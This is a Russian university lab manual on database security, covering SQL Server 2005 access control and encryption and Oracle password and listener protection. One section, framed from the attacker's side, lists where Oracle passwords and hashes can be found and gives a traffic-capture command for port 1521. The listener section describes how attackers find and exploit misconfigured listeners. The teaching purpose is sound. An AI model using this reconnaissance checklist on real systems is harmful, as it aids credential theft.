УЧЕБ Н О Е ПОСОБ И Е (практикум )

БЕЗОПАСНОСТЬ СИСТЕМ БАЗДАННЫХ

СТАВРОПОЛЬ 2014

УЧ

ЕБ

НО

Е П

ОС

ОБ

ИЕ

(п

рак

тик

ум)

МИНИCTEPCTBO ОБРАЗОВАНИЯ И НАУКИ РОССИЙСКОЙ ФЕДЕРАЦИИ

Федеральное государственное автономное образовательное учреждение высшего профессионального образования

«СЕВЕРО-КАВКАЗСКИЙ ФЕДЕРАЛЬНЫЙ УНИВЕРСИТЕТ»

БЕЗОПАСНОСТЬ СИСТЕМБАЗ ДАННЫХ

УЧЕБНОЕ ПОСОБИЕ (практикум)

Специальность 10.05.03 «Информационная безопасность автоматизированных систем». Специализация Защищенные автоматизированные системы управления

Квалификация: специалист специалист

Ставрополь 2014

МИНИCTEPCTBO ОБРАЗОВАНИЯ И НАУКИ РОССИЙСКОЙ ФЕДЕРАЦИИ

Федеральное государственное автономное

образовательное учреждение высшего профессионального образования

«СЕВЕРО-КАВКАЗСКИЙ ФЕДЕРАЛЬНЫЙ УНИВЕРСИТЕТ»

Пелешенко Виктор Сергеевич

НАИМЕНОВАНИЕ ДИСЦИПЛИНЫ

УЧЕБНОЕ ПОСОБИЕ (практические занятия)

Специальность 10.05.03 Информационная безопасность

автоматизированных систем Специализация специалист по защите информации

Квалификация выпускника специалист

Ставрополь

2014

Печатается по решению

Учебно-методического совета

Северо-Кавказского федерального

университета

УДК 004.42

ББК 32.973-018

Рецензенты:

кандидат технических наук, доцент

кафедры «Защиты информации» СевКавГТУ

Граков В.И.,

кандидат технических наук, доцент,

заведующий кафедрой «Защита информации» СевКавГТУ

Чипига А. Ф

Пелешенко В. С. Безопасность систем баз данных: учебное пособие

(лабораторный практикум). — Ставрополь: Изд-во СКФУ, 2011. –с.

В пособии рассматриваются вопросы безопасности баз данных.

Пособие содержит теоретический и практический материал для

выполнения практических занятий по дисциплине «Безопасность систем баз

данных». Предназначено для студентов специальности «Информационная

безопасность автоматизированных систем», изучающих дисциплину

«Безопасность систем баз данных».

УДК 004.42

ББК 32.973-018

© ФГАОУ ВПО «Северо-Кавказский

федеральный университет», 2014

Содержание

Введение ............................................................................................................................... 5

Практическая работа №1 .................................................................................................... 6

Управление разграничением доступа к различным ......................................................... 6

объектам систем баз данных .............................................................................................. 6

Практическая работа №2 .................................................................................................. 15

Управление контролем доступа к различным ................................................................ 15

объектам систем баз данных ............................................................................................ 15


Криптографические методы защиты информации в системах баз данных ................ 24


Комплексная защита систем баз данных ........................................................................ 27


Организация взаимодействия систем баз данных .......................................................... 46

с прикладными системами................................................................................................ 46


Настройка доступа к хешам паролей через sys.user$ .................................................... 50


Использование Паролей в трассировочных файлах ...................................................... 56


Настройка Средства СУБД Oracle по управлению паролями в БД ............................. 61


Настройка защиты БД от Атак по словарю .................................................................... 65

Список литературы: .......................................................................................................... 75

Введение

Целью практикума к выполнению практических занятий по дисциплине

«Безопасность систем данных» является формирования комплекса знаний,

умений и навыков, необходимых для решения задач обеспечения

информационной безопасности в современных системах баз данных.

Выполнение практических занятий студентами играет важную роль в

формировании определенных образовательной программой компетенций

(ПК-19, 20, 26, 40).

Первая практическая работа посвящена управлению разграничением

доступа к различным объектам систем баз данных. Во второй лабораторной

работе исследуется управление контролем доступа к различным объектам

систем баз данных. Третья практическая работа посвящена

криптографическим методам защиты информации в системах баз данных. В

четвертой практической работе показана комплексная защита систем баз

данных. Пятая практическая работа посвящена организации взаимодействия

систем баз данных с прикладными системами. В шестой практической работе

исследуются настройка доступа к хешам паролей через sys.user$. Седьмая

практическая работа рассматривает использование паролей в

трассировочных файлах. В восьмой практической работе показана настройка

средства СУБД Oracle по управлению паролями в БД. В девятой

лабораторной работе исследуется настройка защиты БД от атак по словарю.

Практическая работа №1

Управление разграничением доступа к различным

объектам систем баз данных

Цель работы – исследовать управление разграничением доступа к

различным объектам систем баз данных.

Формируемые компетенции или их части

Индекс Формулировка:

ПК-19 способностью участвовать в разработке компонентов автоматизированных систем

в сфере профессиональной деятельности

ПК-20 способностью разрабатывать политики информационной безопасности

автоматизированных систем

ПК-26 способностью проводить инструментальный мониторинг защищенности


ПК-40 способностью обеспечить восстановление работоспособности систем защиты

информации при возникновении нештатных ситуаций

Управление доступом. Общие сведения

Аутентификация — это процесс проверки права пользователя на доступ

к тому или иному ресурсу. Чаще всего аутентификация осуществляется с

помощью ввода имени и пароля.

SQL Server 2005 поддерживает два режима аутентификации: с помощью

Windows и с помощью SQL Server. Первый режим позволяет реализовать

решение, основанное на однократной регистрации пользователя и едином

пароле при доступе к различным приложениям (Single SignOn solution, SSO).

Подобное решение упрощает работу пользователей, избавляя их от

необходимости запоминания множества паролей и тем самым снижая риск

их небезопасного хранения (вспомним стикеры с паролями, наклеенные на

мониторы). Кроме того, данный режим позволяет использовать средства

безопасности, предоставляемые операционной системой, такие как

применение групповых и доменных политик безопасности, правил

формирования и смены паролей, блокировка учетных записей, применение

защищенных протоколов аутентификации с помощью шифрования паролей

(Kerberos или NTLM).

Аутентификация с помощью SQL Server предназначена главным

образом для клиентских приложений, функционирующих на платформах,

отличных от Windows. Этот способ считается менее безопасным, но в SQL

Server 2005 он поддерживает шифрование всех сообщений, которыми

обмениваются клиент и сервер, в том числе с помощью сертификатов,

сгенерированных сервером. Шифрование также повышает надежность этого

способа аутентификации. Для учетной записи SQL Server можно указать

такой параметр, как необходимость сменить пароль при первом соединении с

сервером. Если SQL Server 2005 работает под управлением Windows Server

2003, можно воспользоваться такими параметрами учетной записи, как

проверка срока действия пароля и локальная парольная политика Windows.

Рисунок 1 – Установка правил для пароля пользователя

Отметим такую мелочь, как обязательное требование непустого пароля

пользователя sa — как ни странно, пустой пароль данной учетной записи

является весьма распространенным проявлением беспечности

администраторов баз данных (и самой любимой лазейкой для похитителей

корпоративных данных).

Вот уже не первый десяток лет принцип распределения прав доступа к

объектам баз данных в большинстве серверных СУБД основан на наличии у

каждого объекта базы данных пользователя-владельца, который может

предоставлять другим пользователям права доступа к объектам базы данных.

При этом набор объектов, принадлежащих одному и тому же пользователю,

называется схемой. Данный способ владения объектами создавал

определенные неудобства при сопровождении приложений, использующих

базы данных. Так, при увольнении сотрудника, создавшего объекты,

используемые многими пользователями, и удалении соответствующей

учетной записи приходилось вносить изменения в серверный код (а нередко

и в код клиентского приложения). Понимание возможности возникновения

этих проблем привело к распространению небезопасных, но простых в

применении способов управления учетными записями пользователей. Вплоть

до хранения их имен и паролей в обычных таблицах, что резко повышало

угрозу несанкционированного доступа к данным и приложениям.

В SQL Server 2005 концепция ролей расширена: эта СУБД позволяет

полностью отделить пользователя от схем и объектов базы данных. Теперь

объекты базы данных принадлежат не пользователю, а схеме, не имеющей

никакого отношения ни к каким учетным записям и тем более к

административным привилегиям. Таким образом, схема становится

механизмом группировки объектов, упрощающим предоставление

пользователям прав на доступ к объектам.

Рисунок 2 – Установка прав для схем данных

Для упрощения управления правами доступа в большинстве серверных

СУБД применяется механизм ролей — наборов прав доступа к объектам базы

данных, присваиваемых некоторой совокупности пользователей. При

использовании ролей управление распределением прав доступа к объектам

между пользователями, выполняющими одинаковые функции и

применяющими одни и те же приложения, существенно упрощается:

создание роли и однократное назначение ей соответствующих прав

осуществляется намного быстрее, нежели определение прав доступа каждого

пользователя к каждому объекту. SQL Server 2005 позволяет создавать так

называемые вложенные роли, то есть присваивать одной роли другую со

всеми ее правами. Это упрощает управление не только правами

пользователей, но и самими ролями, создавая, к примеру, сходные между

собой группы ролей.

SQL Server 2005 также поддерживает так называемые роли для

приложений (application roles), которые могут использоваться для

ограничения доступа к объектам базы данных в тех случаях, когда

пользователи обращаются к данным с помощью конкретных приложений. В

отличие от обычных ролей, роли для приложений, как правило, неактивны и

не могут быть присвоены пользователям. Их применение оказывается

удобным в том случае, когда требования безопасности едины для всех

пользователей, при этом не требуется аудит или иная регистрация

деятельности конкретных пользователей в базе данных.

Рекомендации по управлению доступом

Ниже следует ряд несложных рекомендаций, касающихся применения

средств управления доступом при создании и развертывании решений на

основе SQL Server 2005.

Применение схем и ролей. Общие принципы

Одним из обязательных этапов проектирования баз данных должно быть

детальное определение способов доступа к объектам базы данных. В

частности, на этом этапе необходимо определить, каким образом

использовать схемы для группировки объектов базы данных с точки зрения

доступа к ним, какие роли создать, определить возможные группы

пользователей и роли, которые следует им присвоить. Кроме того, на этом же

этапе важно принять решение о том, как будут использоваться представления

и хранимые процедуры для обеспечения безопасного доступа к данным

(например, для ограничения непосредственного доступа к таблицам).

В последнее время настоятельно рекомендуется применять роли во всех

решениях (как было сказано выше, это заметно снижает затраты на процесс

управления правами доступа и внесение в них изменений), а в случае

наличия пользователей, имеющих частично совпадающие наборы прав

доступа, рекомендуется применять вложенные роли. Для определения прав

доступа и правил вложенности ролей следует разделить пользователей на

группы с разными правами доступа и понять, можно ли сформулировать

правила вложенности групп, а затем отразить эти сведения в проектируемых

ролях.

Нужно также проанализировать требования к правам доступа,

предъявляемые клиентскими приложениями, и учесть эти требования при

проектировании ролей и создании схем. Не стоит при этом забывать и о том,

что списки пользователей и ролей следует не только единожды создать, но и

постоянно актуализировать. Помимо вопросов управления доступом в

клиентских приложениях, рекомендуется уделить внимание и управлению

доступом в различных службах SQL Server.

Управление доступом в службах отчетов

При применении служб отчетов (Reporting Services) необходимо

отдельно позаботиться о правилах доступа к объектам базы данных для

пользователей, применяющих приложения, обращающиеся к этим службам.

Так, указанной категории пользователей должны быть доступны как сами

описания отчетов, так и те объекты базы данных, на основании которых эти

отчеты генерируются, и в этом случае наиболее уместно создание отдельной

роли, обладающей указанными правами. Следует заметить, что по

умолчанию службы отчетов используют службы Internet Information Services

(IIS) и средства безопасности Windows для аутентификации пользователей на

сервере отчетов. Данный режим считается наиболее безопасным, поскольку

может позволить запретить анонимный доступ к web-приложениям,

выполняющимся под управлением IIS.

Отметим, что сервисы отчетов могут выполняться в режиме Integrated

Security. Но в этом случае они выполняют код ряда компонентов с теми же

привилегиями, что и у пользователя, сгенерировавшего отчет, а это позволит

пользователю, исполняющему отчет, получить более высокие привилегии,

нежели ему положены. Поэтому данный режим не рекомендуется применять

вместе со службами отчетов.

Управление доступом в службах уведомлений

Службы уведомлений (Notification Services) выполняются от имени

собственной учетной записи, которая, с одной стороны, должна обладать

определенными правами для обеспечения доставки уведомлений, с другой

стороны, указанный набор прав должен быть минимально необходимым (как

минимум, такая учетная запись не должна входить в группу Administrators).

Отметим, что для служб уведомлений существуют специальные роли —

NSEventProvider, NSGenerator, NSDistributor, которые следует присваивать

учетным записям, отвечающим за провайдеры, генераторы и механизмы

рассылки, а также роль NSRunService, включающая в себя три

перечисленные роли и применяющаяся в том случае, если все составные

части служб уведомлений выполняются внутри одного ядра базы данных.

Управление доступом в интеграционных службах

Для управления доступом в интеграционных службах в SQL Server 2005

введены новые роли: db_dt sadmin, db_dt sltuser и db_dtsoperator. Они

позволяют осуществлять контроль доступа к пакетам интеграционных служб,

хранящихся в базе данных msdb.

Управление доступом в службах репликации

Для управления доступом в службах репликации SQL Server 2005 была

создана новая модель безопасности этих служб, позволяющая более гибко

управлять учетными записями агента репликации (Replication Agent). Теперь

каждый агент репликации может выполняться под собственной учетной

записью, что позволяет наделить каждого агента именно теми правами,

которые требуются для его функционирования, без присвоения избыточных

привилегий. При этом, если серверы, участвующие в процессе репликации,

находятся в одном домене, для указанных учетных записей рекомендуется

использовать аутентификацию Windows.

Для управления доступом к самим публикациям рекомендуется для

каждого агента использовать списки публикаций — Publication Access Lists,

включающие учетные записи пользователей. Отдельно отметим

необходимость защиты папки файловой системы Snapshot, содержащей

реплицированные данные, и предоставлять агентам, не осуществляющим

запись в эту папку, таким как Replication Merge Agent и Replication

Distribution Agent, доступ только в режиме чтения.

Управление доступом для SQL Server Agent

Агент SQL Server Agent должен выполняться от имени учетной записи

Windows, обладающей ролью sysadmin, но не принадлежащей группе

Administrators и имеющей разрешение на увеличение квот памяти для

процесса. Сам SQL Server Agent должен выполняться как служба

операционной системы, протоколироваться как сервис. Кроме того, можно

создать специальную прокси-запись и ассоциировать ее с соответствующими

правами Windows для доступа к внешним ресурсам.

Для управления службой SQL Server Agent можно использовать утилиту

Surface Area Configuration (рис. 3).

Рисунок 3 – Управление службой SQL Server Agent

Управление доступом для Database Mail

Database Mail — это новый компонент SQL Server 2005,

предназначенный для поддержки протокола SMTP (Simple Mail Transport

Protocol). Для управления доступом к нему рекомендуется создавать

настраиваемые профили, позволяющие указать, каким образом пользователи

базы данных msdb имеют доступ к данному профилю (самим пользователям

следует присвоить роль DatabaseMailUserRole базы данных msdb). Для

управления службой Database Mail можно также использовать утилиту

Surface Area Configuration (рис. 4).

Рисунок 4 – Управление службой Database Mail

Управление доступом к базе данных с помощью протокола HTTP

Поскольку HTTP-доступ является одним из наиболее распространенных

способов атак на приложения извне, следует разрешить доступ к HTTP

Endpoints только тем пользователям или группам, которым он действительно

необходим. Кроме того, на сервере баз данных следует отключить учетную

запись Windows Guest, поскольку она позволяет пользователям подключаться

к компьютеру без ввода пароля. В очередной раз напомним: доступ к SQL

Server через Интернет должен осуществляться только посредством

брандмауэра.

Контрольные вопросы:

1. Определение аутентификации?

2. Концепция ролей SQL Server 2005.

3. Механизм ролей.

4. Управлением доступом в службах отчета.

5. Управление доступом в службах уведомлений.

6. Управление доступом к базе данных с помощью протокола HTTP


Управление контролем доступа к различным

объектам систем баз данных

Цель работы – исследовать Управление контролем доступа к

различным объектам систем баз данных.











Один из базовых принципов создания безопасных приложений —

принцип предоставления минимальных привилегий, необходимых для

решения поставленной задачи, — в SQL реализован в намного более строгих

настройках по умолчанию, нежели в предыдущих версиях. Так, в новой

версии SQL Server по умолчанию отключено значительное количество

функций, таких как применение Microsoft .NET Framework в ядре СУБД,

функции SQL Service Broker Network Connectivity, доступ к аналитическим

службам с помощью протокола HTTP. Такие службы, как SQL Server Agent,

Data Transformation Services и средства полнотекстового поиска, после

установки сервера требуют ручного запуска.

Управление контекстом выполнения кода

SQL Server 2005 позволяет указать контекст безопасности, в котором

будут выполняться те или иные операторы программного модуля, а именно

учетной записи, использующейся при проверке разрешений на объекты, на

которые ссылается процедура или функция. Это может быть, например,

учетная запись пользователя, вызвавшего процедуру, или учетная запись

пользователя, создавшего процедуру, или же другая учетная запись.

Одно из новшеств SQL Server 2005, реализующее принцип

минимальных привилегий, позволяет выполнять хранимые процедуры и

функции, определяемые пользователем, с правами другого пользователя. Для

этой цели имеется оператор EXECUTE AS. Он позволяет более гибко

управлять правами, предоставляемыми исполняемому коду, и не связывать

их с правами самого пользователя. Указанная функциональность может

применяться для безопасного управления правами пользователей. Так,

решение такой часто встречающейся задачи, как предоставление доступа к

процедуре без предоставления доступа к таблице, которую использует

данная процедура, решается с помощью оператора EXECUTE AS без

необходимости предоставления пользователям процедуры дополнительных

привилегий. Конструкция EXECUTE AS, указываемая при создании

соответствующего объекта базы данных, задает пользовательскую учетную

запись, которую SQL Server будет использовать для проверки прав доступа к

объектам, используемым в коде хранимой процедуры или пользовательской

функции. В результате код, выполнение которого инициировано

пользователем, выполняется так, как если бы пользователь

зарегистрировался под другой учетной записью. Использование конструкции

EXECUTE AS позволяет исключить цикличное назначение и проверку прав

доступа при выполнении конструкций SELECT, INSERT, UPDATE, DELETE

и EXECUTE, а также открытия непосредственного доступа к ряду объектов

базы данных.

Уровни безопасности выполнения кода

Выполнение .NET-кода в ядре СУБД, будучи средством расширения

функциональности сервера, представляет собой потенциальную уязвимость.

Поэтому при загрузке сборки оно требует указания одного из трех уровней

безопасности: SAFE (доступ к внешним ресурсам не допускается),

EXTERNAL_ACCESS (допускается доступ к файлам, сетевым ресурсам,

реестру, переменным окружения), UNSAFE (доступ ко всем ресурсам, в том

числе к неуправляемому коду). Если сборка в процессе работы выйдет за

указанные при ее загрузке параметры безопасности, Common Language

Runtime сгенерирует исключение, и выполнение кода сборки прекратится.

Некоторые рекомендации

Ниже мы обсудим способы обеспечения безопасности при

использовании управляемого кода. В первую очередь, поддержка

применения Microsoft .NET Framework в ядре СУБД должна быть включена

только в тех случаях, когда использование управляемого кода в приложении

действительно необходимо. Кроме того, с целью сохранения стабильности

работы самой СУБД управляемому коду следует присваивать минимально

необходимый уровень привилегий, а пользовательский код должен

выполняться в контексте пользовательской сессии, которая его вызвала, и с

привилегиями, необходимыми для данного контекста, — в противном случае

из пользовательского кода возможен неавторизованный доступ к данным. Не

стоит напоминать, что пользовательский код не должен обращаться к

ресурсам за пределами сервера.

Шифрование трафика и данных

Встроенные средства шифрования и поддерживаемые алгоритмы

SQL Server 2005 содержит встроенные средства шифрования, цифровой

подписи и верификации данных с помощью симметричных ключей

(алгоритмы шифрования RC4, RC2, DES, AES) и асимметричных ключей

(алгоритм RSA). Весь трафик между клиентом и сервером по умолчанию

шифруется с применением протоколов IP Security (IP SEC) и Secure Sockets

Layer (SSL), причем подобная функциональность доступна во всех редакциях

продукта. SQL Server 2005 позволяет при необходимости определить

политику безопасности, полностью запрещающую обмен

незашифрованными данными между клиентом и сервером, что снижает риск

утечки данных, полученных путем перехвата трафика.

Протокол SSL поддерживается с помощью интеграции со службами

Internet Information Services (IIS) или с помощью сервера сертификатов,

поддерживающего стандарт X. 509v3 и входящего в состав SQL Server 2005.

Сгенерированные сертификаты не только используются для создания SSL-

соединений — их применяет и SQL Service Broker.

Рисунок 5 – Иерархия методов шифрования в SQL Server

Шифрование данных на уровне колонок

SQL Server 2005 позволяет осуществить защиту данных на уровне

колонок за счет шифрования хранимой в них информации. Он поддерживает

также шифрование самих хранимых данных, полностью интегрированное с

инфраструктурой управления ключами. Для этой цели служат встроенные

функции EncryptByCert, DecryptByCert, EncryptByKey, DecryptByKey,

EncryptByAssym, DecryptByAssym, позволяющие использовать шифрование с

помощью сертификата, симметричного и асимметричного ключей в коде

Transact-SQL. Необходимо, тем не менее, помнить о том, что шифрование

данных может привести к потере производительности, поэтому при создании

решений рекомендуется шифровать только конфиденциальные данные и

осуществлять тестирование производительности готового решения.

Осуществляя шифрование на уровне колонок, следует также понимать,

что зашифрованные данные нельзя сортировать, фильтровать и

индексировать, и независимо от того, каким был тип исходных

(незашифрованных) данных, их зашифрованная версия должна храниться как

VARBINARY ().

Шифрование данных в интеграционных службах

В интеграционных службах, реализованных в SQL Server 2005, появился

ряд новых возможностей, связанных с шифрованием пакетов данных. Так,

теперь доступна возможность цифровой подписи пакетов SQL Server

Integration Services, что позволяет идентифицировать измененные пакеты и

запрещать их загрузку. Имеется также возможность шифрования всего

пакета с применением пароля (это позволяет запускать пакет нескольким

пользователям) или пользовательского ключа (что позволяет запустить пакет

только одному конкретному пользователю).

Для защиты всех объектов внутри пакета его можно зашифровать

целиком. Но существует и возможность выборочного шифрования пакетов с

помощью применения свойства пакета ProtectionLevel.

Шифрование данных в службах отчетов

При генерации отчета службы отчетов выполняют запросы к

источникам данных, на основании которых отчет генерируется. При этом,

естественно, они используют данные об учетной записи для доступа к этим

источникам данных.

Рисунок 6 – Принцип работы служб отчетов

Для защиты данных об учетной записи обычно рекомендуется

использовать механизмы SSL, особенно в случае, когда используются

механизмы нестандартной аутентификации (custom authentication), либо

когда для генерации отчетов используется обращение к внешним источникам

данных, требующее дополнительной аутентификации. При доступе к

службам отчетов через Internet следует использовать SSL не только для

защиты учетных данных, но и данных самих отчетов.

Настоятельно рекомендуется сделать резервные копии ключей

шифрования. Поскольку такие ключи создаются во время установки или

последующей конфигурации сервера отчетов, в случае его аварии и

последующего восстановления они потребуются для доступа к

зашифрованным данным. Отметим, что клиентские приложения,

обращающиеся к службам отчетов, также в ряде случаев должны обеспечить

шифрование данных, для чего может быть использован механизм Data

Protection Application Programming Interface (DPAPI). Помимо этого

рекомендуется использовать минимальный уровень привилегий для

выполнения таких приложений.

Шифрование данных, доступных с помощью протокола HTTP

Предоставление HTTP-доступа к ядру базы данных, позволяющее

сделать данные доступными практически неограниченному числу

пользователей, является одним из наиболее интересных новшеств в SQL

Server 2005 (рис. 7).

Рисунок 7 – Обеспечение HTTP-доступа к ядру базы данных

Однако это нововведение несет в себе и определенную угрозу

безопасности — ведь атаки с применением протокола HTTP являются

сегодня одним из самых распространенных видов атак. Поэтому для защиты

сервера и данных при реализации web - служб средствами SQL Server 2005

применяются общие принципы обеспечения безопасности в webприложениях

и web-службах. Так, если планируется использовать web-службы для обмена

конфиденциальной информацией между SQL Server и клиентом, следует

использовать механизм SSL для обеспечения необходимого уровня ее

защиты.

В SQL Server 2005 существует возможность обращаться к web-службам,

созданным средствами SQL Server 2005, с применением следующих

аутентификационных механизмов: Basic, Digest, NTLM, Kerberos и Integrated

(NTLM и Kerberos). Механизм аутентификации Kerberos является наиболее

защищенным, так как в нем используются более мощные по сравнению с

другими механизмами алгоритмы шифрования. Кроме того, он способен

аутентифицировать и сервер, и клиента, что позволяет избежать фарминга —

получения конфиденциальных данных клиента с применением поддельного

сервера.

Шифрование кода хранимых процедур и представлений

При необходимости можно воспользоваться механизмами шифрования

кода хранимых процедур, для чего в конструкциях CREATE PROCEDURE и

ALTER PROCEDURE следует использовать ключевое слово WITH

ENCRYPTION. Имеется возможность шифрования кода представлений —

для этого в конструкции CREATE VIEW или ALTER VIEW следует

использовать ключевое слово WITH ENCRYPTION. Подобный способ

ограничения доступа к коду представлений и процедур применяется при

внедрении решений на основе SQL Server с целью защиты от

несанкционированного внесения в него изменений. При этом исходный код

хранимой процедуры или представления обязательно следует сохранить в

проекте SQL Server на случай необходимости его модификации в будущем.

Аудит и защита метаданных

Аудит — достаточно распространенный способ выявления

некорректных или неавторизованных действий пользователей, особенно

пользователей, имеющих избыточные привилегии. SQL Server 2005

поддерживает несколько способов поддержки аудита. Он может

использовать Windows Security EventLog (механизм отслеживания

обращений к объектам, использования прав, попыток аутентификации), SQL

Profiler (средство осуществления детального аудита попыток доступа к

объектам БД).

Для осуществления аудита полезным может оказаться еще один новый

механизм, появившийся в SQL Server 2005, — триггеры, связанные с

изменением метаданных (DDL-триггеры). Создание подобных триггеров

может позволить как отслеживать попытки изменения метаданных

пользователями, так и полностью их запретить.

Скрытие метаданных

В SQL Server 2005 cистемные объекты находятся в скрытой базе

mssqlsystemresource, при этом пользователям доступны представления

Catalog Views для обращения к системным таблицам. Данные из этих

представлений фильтруются в зависимости от того, кто делает запрос.

Имеется и специальное разрешение VIEW DEFINITION, позволяющее

обойти сокрытие метаданных всей БД, схемы или конкретного объекта.

Некоторые рекомендации для администраторов

Несмотря на то, что SQL Server 2005 удовлетворяет практически всем

современным требованиям обеспечения безопасности, само по себе

внедрение этого продукта не защитит компанию от угроз. Вопросы

безопасности при использовании СУБД не являются чисто технологическими

— проблемы с их решением часто возникают изза недостаточной

компетентности, а то и недобросовестности людей, применяющих СУБД,

создающих решения на их основе или внедряющих эти решения, равно как и

из-за действий сотрудников-инсайдеров, сознательно нарушающих правила

безопасности с целью получения личной выгоды. Кроме того, обеспечение

«жесткого» режима безопасности зачастую усложняет выполнение

сотрудниками их задач, затрудняя доступ к необходимым для этого данным и

функциям.

Нередко выбор разумного компромисса между безопасностью и

доступностью функций, приложений и данных оказывается гораздо более

сложным, нежели технологическая реализация того или иного способа

защиты данных, и умение администратора баз данных применить

возможности сервера в этом случае играет немаловажную роль. Ниже

приводятся некоторые рекомендации по обеспечению безопасности для

администраторов сетей и баз данных, не упомянутые в предыдущих разделах

данной статьи.


1. Управление контекстом выполнения кода

2. Уровни безопасности выполнения кода

3. Шифрование трафика и данных

4. Аудит и защита метаданных


Криптографические методы защиты информации в системах баз данных

Цель работы – исследовать криптографические методы защиты

информации в системах баз данных.











Шифрование паролей в СУБД Oracle c точки зрения

злоумышленника

Разведка паролей

Прежде, чем приступать к добыванию хеш-значений, лучше

попробовать найти пароли сразу в открытом виде. Чаще всего пароли

находятся в следующих местах:

На сервере

o В файлах истории команд shell (bash_history)

o В скриптах shell

o В файлах логов

o В двоичных дампах

o В трассировочных файлах

В Application Server'е

o В файлах конфигурации JDBC

o В трассировочных файлах

На клиентских ПК

В ярлыках на рабочем столе

В командных файлах

В конфигурационных и инициализационных файлах ( connections.ini)

В трассировочных файлах

В виде хеш-значений пароли можно получить из следующих

источников:

Из таблицы sys.user$. К этой таблице имеют доступ

o все, кто обладают привилегией DBA

o все, кто обладают привилегией SELECT ANY DICTIONARY

o В версии 8i все, кто обладают привилегией SELECT ANY TABLE

если значение параметра o7_dictionary_accessibility=true

Из табличного пространства SYSTEM (датафайл system01.dbf)

Права на него по умолчанию rw-r----- т.е. читать может не только

владелец-пользователь, но и вся и группа.

Из файла паролей orapwSID, который находится в каталоге

$ORACLE_HOME/dbs, права на него также rw-r-----

Из файлов экспорта и бэкапов RMAN'a.

Из архивных логов

Из нешифрованного TNS трафика. Несмотря на то, что СУБД Oracle

не передает пароль по сети в открытом виде, тем не менее, хеш пароля

проходит по сети и может быть перехвачен злоумышленником. В ОС

Солярис, это можно проверить, перехватывая все пакеты, исходящие с

Вашего локального ПК и входящие на порт 1521 сервера:

snoop -vx from source_IP to dest_IP port 1521 > file

В Linux это можно проверить с помощью tcpdump.

Возможность шифрования трафика включена в опцию Oracle Advanced

Security.

Таблица 1. Типичные ошибки, относящиеся к паролям

ORA_28000: The account is

locked

Логин заблокирован.

Подождать в течение PASSWORD_LOCK_TIME и

повторить попытку или попросить администратора

сменить пароль

ORA-28001: The password has

expired

Истек срок действия пароля.

При возможности сменить пароль самостоятельно или

обратиться за этим к администратору.

ORA-00988: Missing or invalid

password(s)

Пароль не набран, либо

набран неверно

Используйте двойные кавычки, например alter user scott

identified by "!alex"

ORA-01017: Invalid

username/password; logon

denied

Введен неверный логин или

пароль, доступ запрещен.

Проверьте правильность вводимых реквизитов.


1. Разведка паролей

2. Шифрование паролей в СУБД Oracle


Комплексная защита систем баз данных

Цель работы – исследовать комплексную защиту систем баз данных.











В работе рассмотрим конкретные угрозы, наиболее часто

встречающиеся в Интернете (в таких узлах, как bugtraq), и угрозы, о которых

сообщают в Oracle в службу secalert_us; кроме того, мы касаемся угроз на

основании исследований, проводимых Security Assurance Group корпорации

Oracle. Некоторые из рассматриваемых вопросов были в общих чертах

изложены в докладе “Hack Proofing Oracle” [HACK], представленном на

OpenWorld 2000.

Половина сообщений, полученных secalert_us, связана с компонентами

сетевого доступа; эти сообщения в основном отправляются хакерами и

сообществом обеспечения безопасности сетей. Другая половина сообщений в

основном связана с доступом к серверам или приложениям. Из сообщений,

связанных с компонентами сетевого доступа, половина (25% от общего

количества) посвящена листенеру баз данных. Листенер стал объектом атак

сообщества хакеров (начинают появляться доступные для загрузки

инструментальные средства для исследования защиты листенеров), поэтому

в данной статье рассматриваются способы защиты листенеров, а также

последствия атак на незащищенные листенеры.

На следующей диаграмме показано распределение количества

сообщений об ошибках, связанных с безопасностью, которые ежемесячно

поступают в secalert_us (данные нормализованы с целью скрыть фактическое

количество сообщений).

Рисунок 8 – Количество сообщений об ошибках, ежемесячно поступающих в secalert_us

(данные нормализованы)

Как видите, количество сообщений об ошибках возрастает более или

менее линейно, поэтому нет никакой публикации, которая могла бы отразить

самые последние поступившие сообщения. Поэтому читателям настоятельно

рекомендуется следить за последними оповещениями о проблемах

безопасности и заплатах, сделанных Oracle и доступных в:

http://otn.oracle.com/deploy/security – оповещения о проблемах

безопасности;

http://metalink.oracle.com – заплаты.

Структура документа

Оставшаяся часть статьи имеет следующую структуру:

в разделе “Безопасность листенера” описано, как нарушитель может

найти и воспользоваться плохо сконфигурированными листенерами и в

результате полностью скомпрометировать базу данных и сервер;

в разделе “Атаки баз данных” рассмотрены некоторые атаки баз

данных и серверов;

в разделе “PLSExtProc” рассмотрены дополнительные атаки агента

внешних процедур Oracle (который позволяет выполнять в сервере

внешние процедуры);

приложение A содержит тестовые скрипты для некоторых атак баз

данных;

приложение B содержит пошаговый контрольный список вопросов

безопасности, который поможет защитить листенер и базу данных от

атак, описанных в данной статье;

приложение C содержит список дополнительной литературы и ссылок.

Безопасность листенера

Листенер Oracle – компонент сетевого доступа к системам Oracle. Он

принимает клиентские запросы на соединение и направляет их для обработки

в соответствующий серверный процесс. Листенер не просто процесс

маршрутизации, он имеет свои собственные протокольные и трассировочные

файлы, установочные параметры защиты и свой набор команд. Он также

поддерживает соединения по протоколам SNMP и SSL.

Хакеры обычно атакуют свои цели, используя удаленный доступ,

поэтому листенер может быть первой линией защиты от нарушителей, и это

подтверждается рядом сообщений.

Обычно листенер рассматривается как “ступенька” на пути вторжения в

базы данных и другие сервисы, которые он может поддерживать. Тем не

менее, у него есть достаточно полезные функциональные возможности,

которые сами по себе заслуживают внимания.

Плохо сконфигурированный незащищенный листенер предоставляет

нарушителю различные способы атак, включая удаленное выполнение

команд, атаки типа “отказ в обслуживании”. Целью хакера, атакующего базу

данных, является поиск и использование просчетов в конфигурировании

листенера.

На следующей схеме показано функционирование листенера Oracle.

Рисунок 9 – Листенер базы данных

Листенер – это автономный процесс (сервис в Windows NT/2000),

который конфигурируется файлами listener.ora и sqlnet.ora. Он выдает

протокольные и трассировочные (отладочные) файлы. Он принимает от

клиентов запросы на соединение и управляющие запросы от контроллера

листенера (LSNRCTL). Управляющие запросы листенер обрабатывает сам, а

запросы на соединение передаются серверному процессу (при

необходимости он запускается), который сообщает листенеру, как клиент

должен связываться с ним; затем листенер отправляет это сообщение

клиенту. После этого клиент и сервер поддерживают связь без вмешательства

листенера. Начиная с Oracle9i, листенер может передавать клиентские

соединения непосредственно серверу[1,4].

Файл listener.ora file описан в [NETREF,8], а файл sqlnet.ora в

[NETREF,6], управляющая программа листенера LSNRCTL описана в

[NETREF,1].

Перечисление целей: поиск листенеров

Первым шагом при организации атаки является определение уязвимых

целей. Oracle зарегистрировала ряд портов TCP/IP [NETREF, Table 5-2], по

